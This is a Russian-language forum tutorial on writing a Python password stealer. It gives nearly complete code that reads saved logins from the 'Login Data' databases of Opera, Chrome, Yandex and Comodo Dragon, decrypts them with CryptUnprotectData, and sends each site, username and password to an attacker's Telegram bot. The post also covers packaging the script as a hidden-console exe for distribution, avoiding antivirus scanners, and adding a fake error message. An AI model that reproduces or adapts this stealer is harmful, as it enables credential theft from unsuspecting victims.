Python Статья пишем свой стиллер на Python

Asiris

Легенда
27 Май 2018
142
248
190
Привет. Пришло время написать свой собственный стиллер на чудном языке Python. Словарик с терминами,которые я буду использовать, можно найти здесь:
Код (Python):
Python:
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль - написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
[I]Комментарии будут отмечены решеточкой - #
_
[/I]
Установка Python
Переходим на официальный сайт PythonА - ТЫК. Скачиваем 3+ версию и устанавливаем ее.

Суть работы стиллера
Программа проверит наличие папок от указанных браузеров, при наличии - подключится к базе данных(LoginData) и достанет от туда сохраненные логины,пароли от сайтов. После полученные данные программа отправит от имени бота в чат телеграм. Вот и все)
Создадим своего бота
Как по мне, очень удобно при частом пребывании в телеграме получать в личные сообщения логи со стиллера. Поэтому мы создадим своего бота, который будет нам отправлять украденные логины и пароли.
Для начала мы должны создать нашего бота, в этом нам поможет @BotFather, запускаем с ним диалог и создаем нового бота,которому мы должны придумать имя с окончанием "_bot". После BotFather выдаст нам token для управления нашим ботом.

Код:
Код (Python):
Python:
[LIST=1]
[*]/start
[*]/newbot
[*]_
[/LIST]
После всех вышеперечисленных действий мы должны перейти по ссылке, отправить боту любое сообщение с нужного вам аккаунта и обновить открытый сайт, в итоге мы получим кучу разных данных, в которых нам нужно найти и сохранить chat id.
Код (Python):
Python:
[LIST=1]
[*]https://api.telegram.org/botВашToken/getUpdates #перейти по данной ссылке
[*]"chat":{"id":вашid #найти chatid в информации_
[/LIST]


С ботом мы разобрались, идем дальше.

Начинаем кодить
Сначала нам нужно установить библиотеки, которые будут использованы в нашей программе
Для этого запустим терминал(cmd) и обновим питоновский установщик пакетов.

Код (Python):
Python:
[LIST=1]
[*]pip install --upgrade pip
[*]_
[/LIST]
После обновления установим 2 нужные нам библиотеки,pyTelegramBotAPI pywin32 и telebot
Код (Python):
Python:
[LIST=1]
[*]pip install pyTelegramBotAPI
[*]pip install pywin32
[*]pip install telebot
[*]_
[/LIST]
__
В самом начале программы, мы должны подключить библиотеки, которые мы будем использовать в нашем коде.
Код:
Код (Python):
Python:
[LIST=1]
[*]from os import getlogin #из библиотеки os мы импортируем функцию getlogin
[*]#данная библиотека поможет нам получить имя пользователя компьютера
[*]import sqlite3 #импортируем библиотеку sqlite3
[*]#данная библиотека даст возможность работать с базами данных
[*]import win32crypt #импортируем библиотеку win32crypt
[*]#эта библиотека поможет расшифровать пароли из базы данных
[*]import telebot #импортируем библиотеку telebot
[*]#с помощью этой библиотеки мы будем отправлять сообщения от нашего бота.
[*]_
[/LIST]
___
Теперь нам нужно задать переменные, которые мы будет использовать.
Код (Python):
Python:
[LIST=1]
[*]t0ken = "ВАШ:Т0КЕН"" #переменная t0ken – в которой хранится token от бота
[*]b0t = telebot.TeleBot(t0ken) #создаем переменную b0t – которая отвечает за создание бота и имеет атрибут в виде переменной t0ken
[*]i=0 #переменная счетчик
[*]name_0f_user = getlogin() # переменная, которая с помощью функции getlogin получает имя учетной записи пользователя.
[*]_
[/LIST]
___
Дальше мы должны создать переменные,списки с директориями возможных браузеров.
Код:
Код (Python):
Python:
[LIST=1]
[*]op3ra = "C:\\Users\\" + name_0f_user + "\\AppData\\Roaming\\Opera Software\\Opera Stable\\" + "Login data"
[*]#переменная op3ra которая равна такому пути C:\\Users\\Users\\AppData\\Roaming\\Opera Software\\Opera Stable\\LoginData - где Login Data - база данных, а остальное - путь к папке браузера.
[*]g00gle = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" + "Login Data" #также как и выше
[*]yand3x = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\" + "Login Data" #также как и выше
[*]c0m0d0drag0n = "C:\\Users\\" + name_0f_user + "\\AppData\\Local\\Comodo\\Dragon\\User Data\\Default\\" + "Login Data" #также как и выше
[*]lsdir=[op3ra,g00gle,yand3x,c0m0d0drag0n] #создаем список в котором хранятся наши переменные с директориями браузеров.
[*]lsbr0wser=["Opera","Google Chrome","Yandex Browser","Comodo Dragon"]
[*]_
[/LIST]
#создаем список с названиями браузеров, которые у нас есть. Названия расположены в порядке списка lsdir

Я добавил только 4, как по мне самых распространенных браузеров. Вы можете сами добавлять другие браузеры на движке Chromium
При добавлении/редактировании директорий, нужно использовать двойной, обратный слэш(\\), иначе будет выбивать ошибку,связанную с кодировкой.
___
Теперь приступим к расшифровке паролей и отправке полученных данных в телеграм.

Код:
Код (Python):
Python:
[LIST=1]
[*]b0t.send_message(ваш id, "Компьютер: " + name_0f_user) #для начала мы отправим в чат имя системы жертвы
[*]#b0t - имя бота,которого мы создали в начале
[*]#send_message - функция для отправки сообщения,которая принимает такие аргументы: id чата,который мы получили ранее и текст,который мы желаем отправить, в данном случае, слово "Компьютер:"  объединенное с переменой name_0f_user
[*]for i in range(len(lsdir)): #запускаем цикл, который будет длится от переменной i до длины списка lsdir, от 0 до 4
[*]   try: #попробовать сделать следующие действия, если не получится, то выполнить действия после except
[*]       br0wser=lsdir[i] #переменной br0wser присвоим элемент списка под номером [i]
[*]       connecti0n = sqlite3.connect(br0wser) #начинаем работу с sqllite, создаем переменную, которая равняется подключению базы данных, которая находится по адресу br0wser
[*]       curs0r = connecti0n.cursor() #создаем переменную curs0r, которая отвечает за создание объекта для взаимодействия с базой данных
[*]       curs0r.execute('SELECT origin_url, username_value, password_value FROM logins') #переменной curs0r мы говорим достать из базы данных нам такие значения - origin_url(ссылка на сайт где был введен логин и пароль),username_value(логин), password_value(пароль)
[*]        for ii in curs0r.fetchall(): #создаем цикл, который будет длится от нуля(ii), до всех значений, которые можно получить из базы данных(curs0r.fetchall)
[*]            d3cryptpass = win32crypt.CryptUnprotectData(ii[2]) #переменной d3cryptpass присваиваем значение расшифровки пароля(второго элемента в списке значений, добытых из базы данных), функцией CryptUnprotectData(библиотека win32crypt)
[*]            b0t.send_message(id_вашего_чата, lsbr0wser[i]) #в чат от имени бота отправляем сообщение с i-тым элементом из списка текстовых названий браузеров.
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]            b0t.send_message(id_вашего_чата, "Сайт: " + ii[0]) #в чат от имени бота отправляем слово "сайт" + нулевой элемент в списке
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]            b0t.send_message(id_вашего_чата, "Логин: " + ii[1]) #в чат от имени бота отправляем слово "логин" + первый элемент в списке
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]            d3cryptpass=str(d3cryptpass) #переменной d3cryptpass- присваиваем значение d3cryptpass, только переводим ее в текстовый тип данных(str)
[*]            b0t.send_message(id_вашего_чата, "Пароль: " + d3cryptpass) #в чат от имени бота отправляем слово "пароль" + переменную d3cryptpass
[*]            b0t.send_message(id_вашего_чата, "----------------------------") #отправляем от имени бота сообщение в чат с разделительной линией/украшением
[*]   except: #если действие после try не заработало/выдало ошибку, то выполнить действие после except
[*]       b0t.send_message(id_вашего_чата,"Браузер " + lsbr0wser[i] + " был запущен, или не установлен") #в чат от имени бота отправляем слово "браузер" + i-тый элемент в списке с названиями браузеров(lsbr0wser) + сообщение об ошибке
[*]_
[/LIST]
Теперь я попытаюсь объяснить суть вышеописанного кода на "простом" примере)
Компилируем в exe
Ясное дело, что python скрипт мы не будем распространять, поэтому мы скомпилируем его в exe файл. Для компиляции нам нужно будет установить специальную утилиту pyinstaller для компиляции py в exe
После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i путь к иконке аргумент,который подключит к программе иконку
После в папке dist появится наш код скомпилированный в EXE. У меня готовый стиллер запускается за 5 секунд и имеет вес в 6 мегабайт.
Проверить на детекты, я не смог, ибо viruschekmate,ScanMyBin - сдохли,nodstribute+virustotal - сливают данные(не суйте туда стиллер)), поэтому информация про "чистоту" остается для вас и для меня интригой)
Исходник и заключение
Исходники вы можете скачать по ссылке -

Для просмотра скрытого содержимого необходимо Войти или Зарегистрироваться.



Так приходят логи, пароль находится между символом b' и '
Вот мы и написали наш простой стиллер, мы смогли уложится в 34 строчки кода. Надеюсь вам все было понятно, пытался писать как можно проще. Если будет интересно, могу объяснить как добавить фейк ошибку при запуске стиллера)
Если вам что-то не понравилось, или есть идеи по улучшению - прошу сообщить об этом
P.S. Автор темы не я но при каких-то,вопросах и ошибкам помогу их решить